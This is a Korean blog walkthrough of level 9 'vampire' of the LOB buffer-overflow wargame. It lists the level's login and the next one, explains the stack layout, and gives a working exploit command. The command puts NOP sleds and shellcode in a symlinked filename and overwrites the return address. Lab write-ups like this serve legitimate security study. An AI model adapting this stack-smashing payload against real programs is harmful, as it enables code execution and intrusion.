일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 운영체제
- JUCE라이브러리
- 공룡책
- a tour of go
- 알고리즘
- LOB
- JUCE 튜토리얼
- C++
- C언어
- 자료구조
- 코딩
- gui
- 연결리스트
- C++ library
- BOJ
- 백준
- go
- C++ gui 라이브러리
- c++ heap
- 리듬게임
- 프로그래밍
- OS
- JUCE
- Nebula
- vim-go
- Docker
- C++ gui
- tour of go
- go channel
- JUCE library
Archives
- Today
- Total
CafeM0ca
level9 vampire 본문
반응형
입장 ID:vampire
입장 PW:music world
코드를 확인해보니 버퍼와 argv를 싹다 초기화 한다.
복사본을 만들자.
스택구조는 다음과 같다.
buffer 40 | SFP 4 | RET 4
gdb로 열고 main+368부분에 브레이크 포인트를 잡자.
공격 스크립트는 `python -c 'print "A"*44+"\xaa\xbb\xcc\xbf"'`이며
스택을 확인해보자.
스택 최하단에 실행파일 이름공간이 보인다! 이 부분을 사용하자.
심볼릭 링크를 걸어주자. 여기서 쉘코드 뒤에 약간의 높을 넣어줘야 원활하게 실행된다.
ln -s noteleks `python -c 'print "\x90"*100+"심볼릭 링크 쉘코드"+"\x90"*50'`
사진상에는 skeleton으로 심볼릭 링크를 걸었지만 복사본으로 걸어주고 gdb로 확인해보자.
역시 생각 했었던데로 공간이 있다.
복사본 심볼릭링크를 지우고 원본파일에 심볼릭 링크를 건다.
payload
./`python -c 'print "\x90"*100+"심볼릭링크쉘코드"+"\x90"*50'` `python -c 'print "\x90"*44+"\x65\xff\xff\xbf"'`
다음 ID:skeleton
다음 PW:shellcoder
반응형
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
[LOB]level11 golem (0) | 2018.01.04 |
---|---|
[LOB]level10 skeleton (0) | 2018.01.03 |
level8 troll (0) | 2017.09.14 |
level7 orge (0) | 2017.09.14 |
level6 darkelf (0) | 2017.09.14 |
Comments